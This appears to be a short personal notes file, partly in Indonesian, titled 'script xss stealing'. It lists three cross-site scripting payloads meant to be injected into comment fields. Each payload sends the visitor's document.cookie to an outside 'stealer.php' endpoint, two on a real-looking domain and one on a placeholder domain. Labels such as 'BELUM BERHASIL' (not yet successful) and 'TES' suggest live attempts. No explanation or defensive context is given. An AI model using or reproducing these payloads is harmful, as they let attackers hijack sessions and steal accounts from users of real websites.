script xss stealing

COMMENT
=========
<script>document.location="http://mobilbekas.gq/stealer2.php?c=" +document.cookie</script>

BELUM BERHASIL
==============
<script>location.href = ‘http://www.Yoursite.com/Stealer.php?cookie=’+document.cookie;</script>

COMMENT
=======
TES
<script>var i = new Image();i.src="http://mobilbekas.gq/stealer.php?cookie="+document.cookie</script>